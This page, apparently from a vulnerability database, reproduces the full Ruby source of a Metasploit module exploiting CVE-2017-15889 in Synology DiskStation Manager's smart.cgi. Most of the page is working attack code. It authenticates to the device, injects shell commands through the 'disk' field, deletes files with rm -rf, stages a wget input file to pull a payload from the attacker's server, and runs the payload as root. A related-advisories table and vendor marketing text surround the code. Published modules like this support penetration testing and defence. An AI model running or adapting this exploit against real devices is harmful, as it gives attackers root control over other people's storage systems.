Lucene search
+L

Synology DiskStation Manager smart.cgi Remote Command Execution

🗓️ 08 Nov 2017 00:00:00Reported by Nigusu Kassahun, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 298 Views

Synology DiskStation Manager DSM < 5.2-5967-5 smart.cgi Remote Command Executio

Related
Code
ReporterTitlePublishedViews
Family
0daydb
0daydb
Synology DiskStation Manager smart.cgi - Remote Command Execution
25 May 202014:09
0daydb
zdt
zdt
Synology DiskStation Manager - smart.cgi Remote Command Execution Exploit
26 May 202000:00
zdt
attackerkb
ATTACKERKB
CVE-2017-15889
4 Dec 201700:00
attackerkb
circl
Circl
CVE-2017-15889
22 May 202015:17
circl
cnvd
CNVD
Synology DiskStation Manager Command Injection Vulnerability
5 Dec 201700:00
cnvd
cve
CVE
CVE-2017-15889
4 Dec 201719:00
cve
cvelist
Cvelist
CVE-2017-15889
4 Dec 201719:00
cvelist
exploitdb
Exploit DB
Synology DiskStation Manager - smart.cgi Remote Command Execution (Metasploit)
25 May 202000:00
exploitdb
nvd
NVD
CVE-2017-15889
4 Dec 201719:29
nvd
osv
OSV
CVE-2017-15889
4 Dec 201719:29
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)
                        &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Synology DiskStation Manager smart.cgi Remote Command Execution',
        'Description' => %q{
          This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
          versions < 5.2-5967-5, which allows the execution of arbitrary commands under root
          privileges after website authentication.
          The vulnerability is located in webman/modules/StorageManager/smart.cgi, which
          allows appending of a command to the device to be scanned.  However, the command
          with drive is limited to 30 characters.  A somewhat valid drive name is required,
          thus /dev/sd is used, even though it doesn't exist.  To circumvent the character
          restriction, a wget input file is staged in /a, and executed to download our payload
          to /b.  From there the payload is executed.  A wfsdelay is required to give time
          for the payload to download, and the execution of it to run.
        },
        'Author' => [
          'Nigusu Kassahun', # Discovery
          'h00die' # metasploit module
        ],
        'References' => [
          [ 'CVE', '2017-15889' ],
          [ 'EDB', '43190' ],
          [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ],
          [ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES ]
        ],
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Platform' => ['python'],
        'Arch' => [ARCH_PYTHON],
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PrependMigrate' => true,
          'WfsDelay' => 10
        },
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2017-11-08',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5000),
        OptString.new('TARGETURI', [true, 'The URI of the Synology Website', '/']),
        OptString.new('USERNAME', [true, 'The Username for Synology', 'admin']),
        OptString.new('PASSWORD', [true, 'The Password for Synology', ''])
      ]
    )
  end

  def check
    vprint_status('Trying to detect installed version')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'),
      'vars_get' => { 'host' => '' }
    })

    if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN
      version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}"
      build = $LAST_MATCH_INFO[:build]
      model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
      model = "DS#{model}" unless model =~ /^[A-Z]/
    else
      vprint_error('Detection failed')
      return CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Model #{model} with version #{version}-#{build} detected")

    case version
    when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1'
      return CheckCode::Appears("Version #{version} appears to be vulnerable")
    when '5.2'
      return CheckCode::Appears("Version #{version} appears to be vulnerable") if build < '5967-5'
    end

    CheckCode::Safe("Version #{version} is not vulnerable")
  end

  def on_request_uri(cli, _request, cookie, token)
    print_good('HTTP Server request received, sending payload')
    send_response(cli, payload.encoded)
    print_status('Executing payload')
    inject_request(cookie, token, 'python b')
  end

  def inject_request(cookie, token, cmd = '')
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'webman', 'modules', 'StorageManager', 'smart.cgi'),
      'cookie' => cookie,
      'headers' => {
        'X-SYNO-TOKEN' => token
      },
      'vars_post' => {
        'action' => 'apply',
        'operation' => 'quick',
        'disk' => "/dev/sd`#{cmd}`"
      }
    })
  end

  def login
    # If you try to debug login through the browser, you'll see that desktop.js calls
    # ux-all.js to do an RSA encrypted login.
    # Wowever in a stroke of luck Mrs. h00die caused
    # a power sag while tracing/debugging the loging, causing the NAS to power off.
    # when that happened, it failed to get the crypto vars, and defaulted to a
    # non-encrypted login, which seems to work just fine.  greetz Mrs. h00die!

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'webman', 'login.cgi'),
      'vars_get' => { 'enable_syno_token' => 'yes' },
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'passwd' => datastore['PASSWORD'],
        'OTPcode' => '',
        '__cIpHeRtExT' => '',
        'client_time' => Time.now.to_i,
        'isIframeLogin' => 'yes'
      }
    })
    if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body
      result = JSON.parse(json)

      fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'
      if result['result'] == 'success'
        return res.get_cookies, result['SynoToken']
      end

      fail_with(Failure::Unknown, "Unknown response: #{result}")
    end
  end

  def exploit
    print_status('Attempting Login')
    cookie, token = login

    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req, cookie, token)
        end,
        'Path' => '/'
      }
    })

    print_status('Cleaning env')
    inject_request(cookie, token, 'rm -rf /a')
    inject_request(cookie, token, 'rm -rf b')
    command = "#{srvhost_addr}:#{srvport}".split(//)
    command_space = 22 - "echo -n ''>>/a".length
    command_space -= 1
    command.each_slice(command_space) do |a|
      a = a.join('')
      vprint_status("Staging wget with: echo -n '#{a}'>>/a")
      inject_request(cookie, token, "echo -n '#{a}'>>/a")
    end
    print_status('Requesting payload pull')
    register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')
    register_file_for_cleanup('/a')
    inject_request(cookie, token, 'wget -i /a -O b')
    # at this point we let the HTTP server call the last stage
    # wfsdelay should be long enough to hold out for everything to download and run
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation